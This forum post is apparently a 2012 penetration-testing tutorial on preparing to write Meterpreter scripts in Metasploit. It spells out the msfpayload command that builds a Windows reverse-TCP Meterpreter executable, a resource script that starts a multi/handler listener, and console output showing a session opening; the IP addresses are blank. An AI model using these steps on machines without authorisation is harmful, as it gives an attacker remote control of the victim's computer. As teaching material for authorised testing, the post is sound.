Sunday, 2020-05-31, 2:38 AM
Welcome Guest

Sec_rity without U

Main | Meterpreter Scripts via Metasploit | BigBadWolf - Forum | Registration | Login | RSS
[ New messages · Members · Forum rules · Search · RSS ]
  • Page 1 of 1
  • 1
Forum » Operating Systems » BackTrack » Meterpreter Scripts via Metasploit | BigBadWolf (Writing Meterpreter Scripts via Metasploit)
Meterpreter Scripts via Metasploit | BigBadWolf
BigBadWolfDate: Friday, 2012-01-27, 9:04 PM | Message # 1
Group: Moderators
Messages: 19
Awards: 1
Reputation: 0
Status: Offline
There are a few things you need to keep in mind when creating a new meterpreter script.

* Not all versions of Windows are the same
* Some versions of Windows have security countermeasures for some of the commands
* Not all command line tools are in all versions of Windows.
* Some of the command line tools switches vary depending on the version of Windows

In short, the same constraints that you have when working with standard exploitation methods. MSF can be of great help, but it can’t change the fundamentals of that target. Keeping this in mind can save a lot of frustration down the road. So keep your target’s Windows version and service pack in mind, and build to it.

For our purposes, we are going to create a stand alone binary that will be run on the target system that will create a reverse Meterpreter shell back to us. This will rule out any problems with an exploit as we work through our script development.

     root@bt4:~# cd /pentest/exploits/framework3/
     root@bt4:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST= X > Meterpreter.exe
     Created by msfpayload (
     Payload: windows/meterpreter/reverse_tcp
     Length: 310
     Options: LHOST=

Wonderful. Now, we move the executable to our Windows machine that will be our target for the script we are going to write. We just have to set up our listener. To do this, lets create a short script to start up multi-handler for us.

     root@bt4:/pentest/exploits/framework3# touch meterpreter.rc
     root@bt4:/pentest/exploits/framework3# echo use exploit/multi/handler >> meterpreter.rc
     root@bt4:/pentest/exploits/framework3# echo set PAYLOAD windows/meterpreter/reverse_tcp >> meterpreter.rc
     root@bt4:/pentest/exploits/framework3# echo set LHOST >> meterpreter.rc
     root@bt4:/pentest/exploits/framework3# echo set ExitOnSession false >> meterpreter.rc
     root@bt4:/pentest/exploits/framework3# echo exploit -j -z >> meterpreter.rc
     root@bt4:/pentest/exploits/framework3# cat meterpreter.rc
     use exploit/multi/handler
     set PAYLOAD windows/meterpreter/reverse_tcp
     set LHOST
     set ExitOnSession false
     exploit -j -z

Here we are using the exploit multi handler to receive our payload, we specify that the payload is a Meterpreter reverse_tcp payload, we set the payload option, we make sure that the multi handler will not exit once it receives a session since we might need to re-establish one due to an error or we might be testing under different versions of Windows from different target hosts.

While working on the scripts, we will save the test scripts to /pentest/exploits/framework3/scripts/meterpreter so that they can be run.

Now, all that remains is to start up msfconsole with our our resource script.

root@bt4:/pentest/exploits/framework3# ./msfconsole -r meterpreter.rc

=[ metasploit v3.3-rc1 [core:3.3 api:1.0]
+ -- --=[ 384 exploits - 231 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 161 aux

resource> use exploit/multi/handler
resource> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource> set LHOST
resource> set ExitOnSession false
ExitOnSession => false
resource> exploit -j -z
  • Handler binding to LHOST
  • Started reverse handler
  • Starting the payload handler...

  • As can be seen above, Metasploit is listening for a connection. We can now execute our executable in our Windows host and we will receive a session. Once the session is established, we use the sessions command with the '–i' switch and the number of the session to interact with it:

         [*] Sending stage (718336 bytes)
         [*] Meterpreter session 1 opened ( ->

         msf exploit(handler) > sessions -i 1
         [*] Starting interaction with 1...

         meterpreter >

    Forum » Operating Systems » BackTrack » Meterpreter Scripts via Metasploit | BigBadWolf (Writing Meterpreter Scripts via Metasploit)
    • Page 1 of 1
    • 1